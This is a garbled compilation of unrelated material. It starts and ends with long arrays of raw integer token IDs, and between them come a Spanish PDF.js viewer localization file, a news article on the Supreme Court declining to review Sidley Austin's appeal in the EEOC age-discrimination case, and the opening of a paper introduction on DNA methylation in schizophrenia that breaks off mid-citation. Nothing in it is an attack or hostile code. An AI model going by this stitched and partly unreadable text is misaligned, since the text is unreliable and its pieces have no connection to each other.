15, 187, 8606, 64, 250, 2729, 64, 3956, 426, 1023, 355, 5092, 91, 1954, 1045, 275, 34339, 1448, 3389, 80, 13, 396, 1558, 6187, 66, 28947, 1045, 2457, 187, 8606, 64, 250, 2729, 64, 10492, 426, 1023, 355, 5092, 91, 1954, 1045, 2457, 1448, 3389, 80, 13, 396, 1558, 6187, 66, 28947, 1045, 275, 34339, 187, 8606, 64, 1439, 64, 14541, 426, 1879, 511, 642, 39348, 2960, 187, 3775, 64, 3062, 64, 5374, 426, 353, 7766, 4151, 7860, 187, 3775, 64, 1417, 64, 5374, 426, 9730, 375, 4151, 7860, 187, 3775, 64, 10483, 426, 330, 1000, 274, 187, 3775, 64, 4149, 64, 5374, 426, 19415, 15, 4305, 362, 6394, 4149, 599, 313, 7973, 27, 12033, 7973, 12104, 187, 3775, 64, 8559, 426, 33582, 32444, 27, 12033, 8559, 599, 187, 3775, 64, 9742, 426, 367, 8807, 27, 12033, 9742, 599, 187, 3775, 64, 3140, 426, 7984, 6073, 27, 12033, 3140, 599, 187, 3775, 64, 1282, 426, 418, 1950, 21254, 27, 12033, 1282, 599, 187, 12574, 272, 64, 3775, 426, 473, 1915, 363, 1954, 440, 2228, 355, 8600, 15864, 826, 268, 31076, 1758, 15, 187, 6377, 64, 7527, 64, 3429, 426, 743, 348, 5650, 372, 826, 268, 31076, 1758, 187, 6377, 64, 7527, 64, 8491, 426, 329, 6309, 70, 372, 826, 268, 31076, 1758, 187, 6377, 64, 7527, 64, 15149, 426, 308, 2902, 21000, 3772, 1757, 26869, 187, 6377, 64, 7527, 64, 26651, 426, 308, 2902, 21000, 1524, 187, 6377, 64, 7527, 64, 25250, 426, 12033, 7527, 599, 6, 187, 23333, 64, 3775, 64, 527, 28288, 426, 11759, 187, 23333, 64, 3775, 426, 473, 1915, 363, 1954, 440, 2228, 355, 1113, 5209, 1045, 19415, 15, 187, 25359, 64, 3140, 64, 3775, 426, 401, 16128, 287, 19415, 642, 362, 21762, 7112, 258, 17715, 80, 15, 187, 33722, 64, 3140, 64, 3775, 426, 1621, 19273, 269, 16128, 287, 19415, 15, 187, 328, 9127, 64, 10927, 64, 3775, 426, 2213, 11113, 17062, 275, 265, 468, 2960, 1448, 1296, 49410, 15, 187, 1156, 64, 22965, 64, 881, 15, 2711, 426, 544, 1145, 302, 7860, 12033, 881, 599, 62, 187, 15760, 64, 1968, 426, 47493, 91, 6357, 826, 2916, 511, 23748, 5586, 490, 42061, 12368, 4222, 6073, 19415, 15, 187, 15760, 64, 25359, 426, 3267, 30319, 23748, 642, 362, 21762, 4355, 15, 657, 3814, 6156, 247, 6860, 274, 4213, 15, 187, 15760, 64, 536, 426, 329, 916, 274, 187, 15760, 64, 35899, 426, 330, 18721, 274, 187, 3845, 272, 64, 1439, 64, 19391, 426, 2006, 1748, 14994, 27, 3173, 13374, 343, 642, 18219, 2264, 12704, 34715, 430, 3377, 4474, 12368, 295, 1123, 72, 9325, 15, 187, 3845, 272, 64, 1439, 64, 2038, 426, 2006, 1748, 14994, 27, 444, 3241, 19415, 642, 396, 419, 1113, 49746, 2535, 9392, 5586, 33693, 516, 13374, 343, 339, 15, 187, 7585, 64, 8345, 64, 25050, 426, 15878, 9092, 42871, 27568, 31697, 4305, 15, 7585, 46154, 711, 19452, 15333, 27, 1578, 4617, 917, 441, 274, 4358, 9092, 42871, 27568, 19415, 802, 1257, 7299, 284, 15, 187, 3306, 64, 36022, 64, 1439, 64, 31263, 426, 8742, 3389, 375, 19415, 642, 246, 40594, 9659, 7112, 441, 274, 2817, 354, 2059, 375, 847, 2324, 27, 686, 23513, 262, 343, 247, 4358, 268, 1757, 6058, 284, 13990, 343, 2817, 354, 2059, 375, 847, 2324, 8, 18219, 711, 19452, 3377, 546, 1045, 295, 1123, 72, 9325, 15, 187, 510, 530, 15, 52, 15, 6413, 2111, 556, 13072, 281, 4089, 247, 5266, 4724, 327, 11136, 273, 5213, 1569, 5882, 24752, 2205, 16916, 7233, 708, 9002, 313, 52, 301, 2205, 708, 16916, 10, 5001, 253, 3745, 273, 253, 530, 15, 52, 15, 33134, 35499, 46437, 5399, 313, 5607, 3231, 10, 281, 15142, 22669, 8540, 285, 643, 2060, 5487, 14, 6160, 6619, 275, 253, 10800, 11081, 4176, 1411, 253, 5882, 15, 380, 19963, 3249, 816, 2607, 846, 253, 1180, 273, 5820, 2363, 7288, 285, 5662, 4925, 2164, 15, 23, 3041, 13, 253, 4585, 1268, 2455, 5950, 13, 2556, 281, 247, 1263, 432, 775, 455, 9562, 13, 18707, 708, 9449, 15, 380, 1180, 273, 5820, 689, 7251, 556, 2559, 5329, 2558, 689, 253, 2469, 3578, 1107, 13, 10922, 495, 15, 23, 3041, 275, 4223, 13, 253, 1263, 1119, 15, 187, 187, 34757, 187, 187, 60, 18, 62, 187, 187, 1628, 510, 6413, 2111, 457, 84, 3061, 14624, 24752, 2205, 457, 84, 2748, 323, 2278, 3637, 247, 3102, 273, 24752, 2205, 457, 84, 1046, 3177, 281, 3693, 2442, 22669, 9781, 1146, 40101, 406, 595, 10945, 407, 253, 7829, 387, 1046, 1614, 1806, 2516, 20069, 21557, 251, 13, 45622, 19804, 10158, 275, 8068, 13, 5544, 275, 247, 5480, 3908, 5001, 253, 3061, 15, 187, 187, 1628, 8430, 253, 6413, 2111, 858, 417, 2953, 253, 12553, 16108, 273, 253, 1953, 1806, 20069, 21557, 251, 4821, 13, 773, 783, 2111, 457, 84, 3061, 281, 13292, 24752, 2205, 457, 84, 2748, 323, 2278, 6505, 253, 33808, 6817, 3061, 275, 776, 1083, 6306, 347, 253, 10938, 1569, 323, 253, 7467, 273, 436, 1083, 949, 247, 4984, 11844, 13, 285, 627, 457, 84, 417, 247, 12195, 273, 247, 5545, 670, 752, 326, 1569, 310, 13, 253, 45622, 476, 15142, 22669, 285, 643, 5487, 14, 6160, 6619, 327, 11136, 273, 253, 258, 15172, 24752, 2205, 10471, 1425, 187, 187, 510, 45622, 457, 84, 1083, 1411, 24752, 2205, 20944, 562, 273, 271, 5839, 407, 253, 8068, 4412, 7454, 715, 24752, 2205, 708, 16916, 457, 84, 10276, 342, 253, 11362, 15292, 30879, 275, 35499, 3162, 313, 24259, 34, 481, 380, 329, 2573, 34, 10384, 281, 4292, 689, 253, 2363, 273, 3387, 2444, 323, 271, 11169, 342, 1384, 390, 625, 6171, 15, 733, 33093, 20252, 285, 14954, 7089, 1754, 327, 2363, 13, 347, 973, 347, 17396, 15072, 387, 247, 2176, 2363, 13, 323, 4829, 512, 6171, 15, 496, 1635, 13, 1142, 3054, 45035, 17396, 15072, 323, 1355, 18652, 417, 6107, 407, 253, 329, 2573, 34, 15, 187, 187, 510, 45622, 457, 84, 5839, 858, 417, 8424, 432, 247, 7473, 42770, 273, 15292, 30879, 4724, 407, 271, 2060, 13, 533, 2581, 432, 247, 5833, 4724, 1561, 253, 5882, 285, 5701, 1160, 281, 253, 3420, 407, 24752, 2205, 457, 84, 4323, 2285, 40088, 326, 10471, 574, 644, 1066, 41556, 275, 1340, 281, 2794, 9091, 323, 9243, 16099, 15, 380, 7234, 281, 253, 3420, 671, 23378, 253, 5882, 457, 84, 2363, 14, 30344, 15072, 3646, 15, 380, 5882, 1066, 41556, 4567, 10471, 275, 253, 2965, 273, 7544, 15, 19388, 14, 23587, 452, 2546, 281, 320, 6607, 407, 253, 45622, 275, 253, 15561, 15, 187, 187, 510, 45622, 4724, 253, 1083, 275, 253, 530, 15, 52, 15, 4412, 2111, 323, 253, 11442, 4412, 273, 11545, 275, 8068, 327, 4247, 2145, 13, 5826, 15, 380, 1083, 13, 534, 14993, 22669, 8540, 285, 30938, 26333, 273, 10471, 665, 497, 1066, 14, 41556, 281, 8474, 5067, 390, 5067, 3708, 13, 310, 13910, 1078, 530, 15, 52, 15, 4412, 6798, 5490, 49524, 293, 15, 29600, 556, 644, 10800, 275, 253, 1083, 13, 984, 6798, 49524, 293, 858, 417, 5778, 253, 1083, 1223, 24752, 2205, 457, 84, 2748, 323, 2278, 281, 253, 6413, 2111, 369, 1146, 2783, 15, 187, 187, 51, 600, 272, 327, 6413, 2111, 19440, 13, 6798, 49524, 293, 753, 27, 773, 510, 45622, 457, 84, 987, 281, 3324, 4176, 8445, 2060, 6619, 4566, 4457, 326, 273, 253, 2060, 285, 14190, 253, 12785, 273, 1345, 1600, 13, 7624, 6941, 45622, 281, 7703, 6619, 323, 4292, 13, 751, 253, 5876, 24752, 2205, 10471, 275, 436, 1083, 13, 665, 812, 417, 13, 323, 667, 5235, 273, 4606, 13, 513, 594, 3746, 1425, 187, 187, 510, 775, 455, 9562, 1263, 858, 417, 2953, 253, 2075, 285, 5373, 2959, 407, 5662, 5820, 15, 733, 858, 13, 2299, 13, 1127, 562, 326, 26885, 7324, 432, 6858, 1766, 14724, 816, 8577, 3925, 310, 2779, 281, 1056, 352, 9592, 2834, 323, 5662, 2628, 14, 32179, 398, 281, 1089, 6887, 15, 1042, 32585, 187, 7770, 187, 187, 10859, 20224, 571, 310, 247, 5460, 19830, 8984, 13, 7943, 407, 4274, 6133, 839, 14613, 19147, 13, 1448, 16723, 13, 33092, 7097, 285, 4016, 5917, 1254, 67, 18, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 733, 310, 271, 1162, 74, 11220, 2570, 8984, 13, 7668, 1097, 617, 7116, 285, 1327, 617, 7116, 2616, 13, 342, 617, 262, 1430, 8197, 273, 598, 281, 11681, 15, 17, 6, 1254, 67, 19, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 733, 310, 6566, 326, 253, 8984, 310, 1955, 281, 2393, 6551, 27055, 267, 2616, 13, 516, 7187, 1972, 275, 34254, 34242, 7601, 13, 2366, 342, 49161, 10552, 13, 10332, 13, 4073, 285, 14977, 1254, 67, 20, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 2947, 67, 21, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 496, 253, 5928, 273, 4232, 10401, 7534, 9588, 13, 6120, 273, 24532, 15771, 327, 8368, 273, 6255, 1375, 407, 247, 3382, 4572, 1254, 67, 22, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 3882, 16783, 310, 247, 5044, 30818, 11237, 13, 1774, 323, 2622, 2440, 275, 2169, 16711, 15, 733, 41077, 253, 3320, 2048, 1293, 11237, 273, 253, 3625, 3882, 3425, 285, 310, 617, 7116, 949, 253, 894, 1254, 67, 23, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 733, 8687, 9436, 273, 253, 18314, 460, 281, 608, 14, 13006, 36824, 22060, 407, 2097, 273, 3882, 9758, 17338, 1169, 1254, 67, 23, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 496, 31046, 4787, 13, 16783, 310, 954, 7744, 1119, 275, 16944, 6793, 3672, 273, 3882, 13, 1925, 36457, 17546, 1254, 67, 24, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 380, 30818, 4870, 403, 7870, 285, 1581, 253, 1341, 281, 3794, 7661, 4360, 285, 275, 247, 10799, 1039, 281, 6938, 15374, 13, 533, 671, 14003, 894, 1511, 2173, 3320, 5659, 15, 10643, 3855, 1999, 2544, 689, 673, 3148, 36490, 17524, 1254, 67, 25, 14, 35744, 7913, 14, 1166, 14, 2640, 14, 1010, 1656, 831, 812, 5513, 253, 17524, 273, 690, 1846, 6578, 275, 5870, 13, 594, 253, 30818, 3102, 812, 320, 19588, 275, 25104, 346, 12787, 261, 3321, 3, 689, 14649, 15, 187, 187, 8354, 16783, 476, 320, 2330, 342, 253, 9464, 1265, 4375, 273, 3608, 390, 476, 320, 1119, 275, 253, 3320, 8248, 13, 734, 15881, 390, 275, 13392, 10545, 4811, 15, 380, 1899, 273, 253, 16783, 11852, 697, 2954, 281, 3320, 2048, 1268, 15, 353, 4040, 318, 275, 253, 8993, 21520, 273, 253, 9464, 1265, 2670, 8336, 17000, 13, 1223, 16783, 3304, 253, 3320, 38197, 9464, 33691, 15, 1893, 352, 310, 5125, 326, 3320, 2133, 16783, 778, 452, 271, 1055, 327, 30772, 15, 733, 310, 6326, 326, 253, 16783, 275, 29104, 4811, 310, 1774, 323, 32795, 285, 14421, 7882, 13, 285, 3164, 1234, 16443, 811, 34690, 3284, 2048, 15, 9110, 253, 2554, 273, 3882, 16783, 275, 26264, 253, 2250, 273, 10545, 3603, 824, 347, 4075, 13342, 310, 417, 973, 4232, 1254, 67, 26, 14, 35744, 7913 ]	_sidebar_label = Cambiar barra lateral document_outline.title = Mostrar resumen del documento (doble clic para expandir/contraer todos los elementos) document_outline_label = Resumen de documento attachments.title = Mostrar adjuntos attachments_label = Adjuntos thumbs.title = Mostrar miniaturas thumbs_label = Miniaturas findbar.title = Buscar en el documento findbar_label = Buscar thumb_page_title = Página {{page}} thumb_page_canvas = Miniatura de la página {{page}} find_label = Buscar: find_previous.title = Encontrar la anterior aparición de la frase find_previous_label = Anterior find_next.title = Encontrar la siguiente aparición de esta frase find_next_label = Siguiente find_highlight = Resaltar todos find_match_case_label = Coincidencia de mayús./minús. find_reached_top = Se alcanzó el inicio del documento, se continúa desde el final find_reached_bottom = Se alcanzó el final del documento, se continúa desde el inicio find_not_found = Frase no encontrada error_more_info = Más información error_less_info = Menos información error_close = Cerrar error_version_info = PDF.js v{{version}} (build: {{build}}) error_message = Mensaje: {{message}} error_stack = Pila: {{stack}} error_file = Archivo: {{file}} error_line = Línea: {{line}} rendering_error = Ocurrió un error al renderizar la página. page_scale_width = Anchura de la página page_scale_fit = Ajuste de la página page_scale_auto = Tamaño automático page_scale_actual = Tamaño real page_scale_percent = {{scale}}% loading_error_indicator = Error loading_error = Ocurrió un error al cargar el PDF. invalid_file_error = Fichero PDF no válido o corrupto. missing_file_error = No hay fichero PDF. unexpected_response_error = Respuesta inesperada del servidor. text_annotation_type.alt = [Anotación {{type}}] password_label = Introduzca la contraseña para abrir este archivo PDF. password_invalid = Contraseña no válida. Vuelva a intentarlo. password_ok = Aceptar password_cancel = Cancelar printing_not_supported = Advertencia: Imprimir no está totalmente soportado por este navegador. printing_not_ready = Advertencia: Este PDF no se ha cargado completamente para poder imprimirse. web_fonts_disabled = Las tipografías pdfjs.web están desactivadas: es imposible usar las tipografías PDF embebidas. document_colors_not_allowed = Los documentos PDF no tienen permitido usar sus propios colores: 'Permitir a las páginas elegir sus propios colores' está desactivado en el navegador. The U.S. Supreme Court has declined to hear a petition filed on behalf of international law firm Sidley Austin Brown & Wood (Sidley & Austin) regarding the ability of the U.S. Equal Employment Opportunity Commission (EEOC) to pursue monetary damages and other individual victim-specific relief in the ongoing discrimination suit against the firm. The refusal comes just months after the number of workers age 55 and older reached 24.6 million, the highest level ever recorded, according to a study from Challenger, Gray & Christmas. The number of workers over 65 has increased 45 percent over the past ten years, reaching 3.6 million in August, the study found. Advertisement [1] “The Supreme Court’s decision denying Sidley’s request for review follows a pattern of Sidley’s every attempt to avoid potential monetary liability being unequivocally rejected by the courts at every turn,” John Hendrickson, EEOC Regional Attorney in Chicago, explained in a prepared statement regarding the decision. “Although the Supreme Court did not address the ultimate merits of the question,” Hendrickson continued, “the Court’s decision to deny Sidley’s request for review leaves the Seventh Circuit decision in our case standing as the controlling law for the duration of this case through a jury verdict, and there’s not a shadow of a doubt about what that law is, the EEOC can pursue monetary and other victim-specific relief on behalf of the ousted Sidley partners.” The EEOC’s case against Sidley arose out of an investigation by the Chicago District Office into Sidley & Austin’s compliance with the Age Discrimination in Employment Act (ADEA). The ADEA applies to individuals over the age of 40 working for an employer with 20 or more employees. It prohibits hiring and firing decisions based on age, as well as mandatory retirement at a certain age, for nearly all employees. In addition, many states forbid mandatory retirement for small employers not covered by the ADEA. The EEOC’s investigation did not stem from a formal Charge of Discrimination filed by an individual, but rather from a complaint filed within the firm and comments made to the media by Sidley’s management team acknowledging that partners had been downgraded in order to create opportunities for younger lawyers. The statements to the media also referenced the firm’s age-biased retirement policy. The firm downgraded 32 partners in the fall of 1999. Twenty-seven have asked to be represented by the EEOC in the litigation. The EEOC filed the case in the U.S. District Court for the Northern District of Illinois in Chicago on January 13, 2005. The case, which seeks monetary damages and reinstatement of partners who were down-graded to senior counsel or counsel status, is pending before U.S. District Judge James Zagel. Discovery has been ongoing in the case, because Judge Zagel did not delay the case while Sidley’s request for review to the Supreme Court was being considered. Relying on Supreme Court precedent, Judge Zagel said: “The EEOC’s right to bring suit seeking individual relief goes beyond that of the individual and reaches the territory of public interest, thereby allowing EEOC to seek relief for individuals, like the affected Sidley partners in this case, who could not, for any variety of reasons, do so themselves.” The Challenger study did not address the pay and benefits received by older workers. It did, however, point out that fierce competition from baby boomers just turning 60 is likely to make it increasingly difficult for older job-seekers to find positions.INTRODUCTION ============ Schizophrenia is a severe psychiatric disorder, characterized by debilitating behavioral abnormalities, delusions, hallucinations and negative symptoms \[[@b1-bjmg-17-02-15]\]. It is an etiologically complex disorder, involving both heritable and non heritable factors, with heritability estimates of up to 81.0% \[[@b2-bjmg-17-02-15]\]. It is believed that the disorder is due to early neurodevelopmental factors, imbalances in neurotransmitter signaling, together with obstetric complications, infections, stress and trauma \[[@b3-bjmg-17-02-15],[@b4-bjmg-17-02-15]\]. In the absence of established diagnostic biological markers, diagnosis of schizophrenia relies on examination of mental state by a clinical interview \[[@b5-bjmg-17-02-15]\]. DNA methylation is a basic epigenetic modification, important for normal development in higher organisms. It alters the gene expression without modification of the primary DNA sequence and is heritable through the cell \[[@b6-bjmg-17-02-15]\]. It involves conversion of the cytosine to 5-methylcytosine by means of DNA methyltransferases \[[@b6-bjmg-17-02-15]\]. In eukaryotes, methylation is most commonly found in CG rich areas of DNA, called CpG islands \[[@b7-bjmg-17-02-15]\]. The epigenetic processes are dynamic and allow the cells to respond reversibly and in a precise way to environmental stimuli, but also preserve cell type specific gene programs. Epigenetic changes over time display familial clustering \[[@b8-bjmg-17-02-15]\]. This could explain the clustering of some common diseases in families, so the epigenetic pattern could be implicated in transmitting "predisposition" over generations. DNA methylation can be associated with the transcription start sites of genes or can be found in the gene bodies, intergenic or in distant regulatory regions. The position of the methylation affects its relationship to gene expression level. Methylation in the immediate vicinity of the transcription start site blocks initiation, while methylation inside the gene stimulates transcription elongation. So it is suggested that gene body methylation may have an effect on splicing. It is supposed that the methylation in repetitive regions is important for chromosomal and genomic stability, and probably represses transposable element expression. Yet the role of DNA methylation in modifying the action of regulatory elements such as enhancers is not well established \[[@b9-bjmg
[ 3731, 27631, 1700, 347, 475, 49, 15, 25898, 991, 11, 327, 14080, 15, 4683, 253, 1283, 475, 49, 15, 19643, 70, 11, 2219, 13, 374, 497, 3731, 27631, 1700, 347, 475, 49, 15, 25898, 991, 11, 327, 14080, 15, 416, 15580, 7340, 273, 10332, 4795, 432, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 497, 5571, 15, 18, 6, 285, 6480, 15, 26, 5294, 2975, 15, 3235, 575, 20, 33958, 2433, 273, 475, 49, 15, 14246, 1079, 11, 256, 1033, 15, 285, 475, 49, 15, 19643, 70, 11, 19643, 2219, 275, 388, 4338, 74, 49850, 19039, 18196, 323, 5979, 8125, 48854, 14044, 4504, 6120, 407, 8477, 11, 49, 15, 14246, 1079, 11, 26105, 5929, 49, 15, 19643, 70, 11, 25810, 1026, 1938, 906, 575, 47390, 6120, 3507, 1036, 575, 46, 261, 27631, 1700, 3583, 575, 52, 22247, 11767, 3953, 15, 25085, 15, 26, 51, 15580, 906, 575, 40385, 63, 66, 63, 41830, 575, 41263, 63, 67, 63, 1731, 883, 575, 52, 22247, 11767, 1967, 15, 15148, 15, 26, 11, 51, 15580, 11, 37645, 10401, 1071, 63, 66, 63, 2102, 30782, 1327, 14, 39226, 43978, 26507, 2307, 451, 5066, 63, 67, 63, 2102, 30782, 475, 3493, 45049, 1514, 11, 5066, 12125, 187, 187, 34478, 273, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 2219, 1712, 4538, 883, 94, 187, 6154, 9962, 187, 187, 10457, 4059, 283, 7798, 13, 253, 11422, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 2219, 285, 1283, 21117, 475, 49, 15, 19643, 70, 11, 2219, 497, 9288, 432, 2164, 4343, 4441, 275, 7531, 13, 10497, 13, 285, 17323, 571, 15, 15699, 13, 10694, 15, 24, 6, 313, 2227, 16, 2597, 10, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 2219, 285, 11107, 15, 21, 6, 313, 1166, 16, 1093, 10, 273, 475, 49, 15, 19643, 70, 11, 2219, 497, 432, 7531, 13, 342, 760, 767, 475, 49, 15, 14246, 1079, 11, 26105, 15, 2219, 432, 11650, 4343, 285, 581, 475, 49, 15, 19643, 70, 11, 1083, 432, 17323, 571, 313, 49, 522, 5738, 1457, 34410, 481, 380, 4343, 273, 6510, 273, 2219, 21117, 432, 8118, 4343, 403, 2011, 275, 2667, 15, 575, 60, 21, 1084, 1470, 21, 910, 709, 14, 881, 568, 926, 7129, 1470, 15, 575, 21, 7559, 5576, 3268, 273, 1401, 66, 9264, 3493, 45049, 1514, 14246, 1079, 25846, 261, 11, 74, 28, 1401, 67, 9264, 3493, 45049, 1514, 14246, 1079, 3402, 24736, 74, 28, 11, 285, 1401, 68, 9264, 3493, 45049, 1514, 19643, 70, 11, 29660, 432, 749, 14, 49713, 7531, 187, 187, 4185, 15, 21, 6, 313, 1549, 16, 3832, 10, 273, 475, 49, 15, 258, 15, 25846, 13401, 11, 285, 9161, 15, 19, 46217, 1099, 16, 1731, 10, 273, 475, 49, 15, 258, 15, 3402, 24736, 74, 11, 497, 432, 7531, 15, 475, 49, 15, 258, 15, 25846, 13401, 11, 2219, 497, 7194, 21117, 432, 9922, 4687, 273, 37642, 313, 26, 13, 1638, 15, 25, 9498, 23856, 313, 24, 13, 1903, 15, 22, 9498, 8721, 25922, 34410, 313, 23, 13, 898, 15, 25, 9498, 4965, 6836, 313, 22, 13, 854, 15, 19, 9498, 285, 37642, 313, 32893, 4396, 580, 4002, 10, 313, 22, 13, 854, 15, 19, 9498, 285, 581, 475, 49, 15, 258, 15, 25846, 13401, 11, 1083, 432, 14307, 15, 475, 49, 15, 258, 5929, 3402, 24736, 74, 2219, 497, 7194, 21117, 432, 9922, 4687, 273, 37642, 313, 21, 13, 1458, 15, 21, 9498, 6039, 2771, 251, 313, 21, 13, 1458, 15, 21, 9498, 23856, 313, 21, 13, 1458, 15, 21, 9498, 4965, 6836, 313, 20, 13, 1903, 15, 22, 9498, 37642, 313, 32893, 4396, 580, 4002, 10, 313, 20, 13, 1903, 15, 22, 9498, 285, 35522, 313, 20, 13, 1903, 15, 22, 9498, 285, 581, 475, 49, 15, 258, 15, 3402, 24736, 74, 11, 1083, 432, 29310, 15, 475, 3493, 45049, 1514, 19643, 70, 11, 369, 7194, 21117, 432, 4965, 6836, 313, 20, 13, 1668, 15, 24, 9498, 37642, 313, 32893, 4396, 580, 4002, 10, 313, 20, 13, 1668, 15, 818, 9498, 6039, 2771, 251, 313, 19, 13, 1903, 15, 18, 9498, 15562, 571, 313, 19, 13, 1903, 15, 18, 9498, 285, 23856, 313, 19, 13, 1903, 15, 18, 10970, 187, 187, 14146, 1712, 4538, 805, 94, 187, 6428, 187, 187, 41, 4338, 74, 18324, 556, 6786, 13406, 2323, 275, 10938, 253, 1980, 19643, 4112, 28, 2299, 13, 253, 1180, 273, 21117, 19643, 2219, 556, 2559, 15, 4129, 253, 5020, 273, 21117, 19643, 2219, 497, 2330, 342, 475, 49, 15, 46777, 2992, 253, 1180, 273, 1363, 342, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 3012, 2559, 13, 3340, 253, 1180, 273, 1363, 342, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 369, 625, 685, 326, 342, 475, 49, 15, 25898, 991, 11, 432, 4059, 281, 4765, 15, 380, 2572, 275, 253, 1180, 273, 21117, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 2219, 3559, 247, 747, 5691, 323, 17170, 253, 1048, 14, 3945, 4736, 273, 19643, 20408, 1254, 1311, 1797, 1656, 187, 187, 688, 436, 1263, 13, 627, 369, 247, 1534, 3064, 275, 253, 22667, 2180, 273, 253, 1740, 475, 3493, 45049, 1514, 11, 3417, 15, 1723, 13, 253, 3064, 875, 253, 767, 12514, 255, 695, 3417, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 369, 417, 1534, 275, 436, 1263, 13, 534, 310, 2074, 281, 253, 4560, 273, 6047, 80, 1162, 355, 15, 1254, 1311, 1423, 1184, 285, 8741, 5309, 14, 31900, 375, 1162, 355, 15, 1254, 1311, 1508, 1656, 496, 436, 1263, 13, 253, 20088, 22667, 9894, 273, 475, 49, 15, 258, 15, 25846, 13401, 11, 285, 475, 49, 15, 258, 15, 70, 3402, 24736, 74, 11, 497, 818, 1610, 285, 818, 4590, 575, 11015, 13, 2975, 15, 380, 20088, 22667, 9894, 273, 475, 49, 15, 258, 15, 25846, 13401, 11, 275, 253, 1263, 407, 427, 4486, 1162, 355, 15, 1254, 1311, 1010, 1184, 285, 41558, 1162, 355, 15, 1254, 1311, 1348, 1184, 497, 884, 3245, 285, 1249, 2082, 575, 11015, 13, 2975, 15, 8057, 22667, 9894, 1246, 10665, 12748, 323, 19643, 6120, 285, 697, 4569, 1971, 1254, 1311, 1099, 1656, 380, 11508, 432, 253, 11653, 273, 9749, 281, 6120, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 497, 3356, 685, 1110, 273, 475, 49, 15, 25898, 991, 11, 285, 475, 49, 15, 46777, 5929, 4923, 273, 253, 7520, 12340, 273, 24984, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 19643, 275, 388, 4338, 74, 18324, 13, 841, 475, 3493, 45049, 1514, 11, 3417, 452, 644, 8127, 22459, 15, 5076, 13, 690, 1363, 858, 417, 4143, 253, 4675, 4745, 984, 273, 616, 11134, 5917, 15, 1723, 13, 13444, 6120, 273, 841, 767, 475, 3493, 45049, 1514, 11, 3417, 588, 1421, 281, 7197, 3382, 6973, 1254, 1311, 1731, 1656, 187, 187, 688, 436, 1263, 13, 253, 4142, 273, 3451, 6120, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 19643, 2219, 497, 5693, 15, 20, 6, 285, 7127, 15, 21, 5294, 2975, 13, 275, 13240, 390, 2406, 14, 5251, 29538, 15, 380, 3731, 27631, 2433, 497, 8877, 407, 767, 2616, 13, 581, 369, 253, 1786, 40560, 8, 3480, 273, 3640, 670, 841, 767, 3417, 273, 19643, 1254, 1311, 1630, 5413, 285, 253, 643, 369, 21418, 2544, 2330, 342, 1698, 2308, 273, 11619, 5741, 9512, 285, 897, 273, 1327, 14, 15291, 16940, 1254, 1311, 1619, 7254, 1311, 2405, 1656, 3813, 13, 3733, 327, 970, 14080, 323, 3302, 6120, 273, 19643, 387, 13240, 285, 2406, 14, 5251, 29538, 943, 320, 34615, 15, 25792, 280, 22770, 379, 3733, 556, 6518, 6558, 14080, 13789, 323, 7899, 5481, 285, 6120, 273, 475, 3493, 45049, 1514, 11, 27338, 387, 512, 2308, 273, 29538, 285, 13240, 28, 33810, 13, 247, 2629, 19643, 5175, 5199, 943, 320, 4232, 387, 247, 2406, 1268, 1254, 1311, 1237, 1656, 187, 187, 11540, 1877, 273, 475, 3493, 45049, 1514, 11, 3417, 310, 581, 273, 253, 1774, 5018, 275, 19643, 20408, 15, 10200, 3082, 323, 253, 6120, 273, 19643, 2486, 5026, 285, 6906, 2614, 3085, 14080, 13, 416, 15580, 84, 13, 285, 8477, 15, 380, 1655, 5328, 2629, 323, 19643, 6120, 4558, 14080, 15, 1723, 13, 436, 5853, 3198, 10665, 3733, 285, 2793, 15, 733, 369, 2834, 281, 4271, 475, 49, 15, 14246, 1079, 11, 26105, 15, 407, 760, 22973, 8368, 13, 984, 253, 15448, 273, 436, 3417, 310, 2074, 281, 326, 273, 475, 49, 15, 25898, 991, 11, 1254, 1311, 1717, 1656, 831, 1263, 2692, 326, 2620, 475, 49, 15, 14246, 1079, 11, 26105, 15, 14470, 497, 3731, 24491, 347, 475, 49, 15, 25898, 991, 11, 275, 22973, 8368, 275, 253, 25432, 3806, 9965, 15, 8477, 556, 2169, 7340, 685, 14080, 275, 48858, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 10332, 1254, 1311, 1619, 1092, 1008, 1311, 1610, 1184, 534, 476, 320, 908, 281, 17813, 253, 9965, 6120, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 285, 475, 49, 15, 19643, 70, 11, 10332, 1254, 1311, 1706, 1656, 416, 15580, 84, 2085, 2289, 281, 7899, 19643, 6120, 275, 1142, 3672, 1254, 1311, 1671, 5413, 984, 352, 310, 3477, 281, 897, 285, 2430, 642, 2173, 6500, 1254, 1311, 1812, 1656, 496, 436, 1263, 13, 416, 15580, 7340, 273, 10332, 4795, 432, 475, 49, 15, 14246, 1079, 11, 26105, 15, 369, 5571, 15, 18, 6, 534, 369, 749, 29776, 1254, 1311, 1787, 1656, 7757, 13, 5125, 326, 275, 13240, 390, 2406, 14, 5251, 29538, 13, 416, 15580, 84, 812, 320, 908, 281, 320, 247, 19767, 629, 281, 22973, 8368, 273, 475, 49, 15, 14246, 1079, 11, 26105, 15, 10332, 15, 187, 187, 688, 436, 1263, 13, 475, 49, 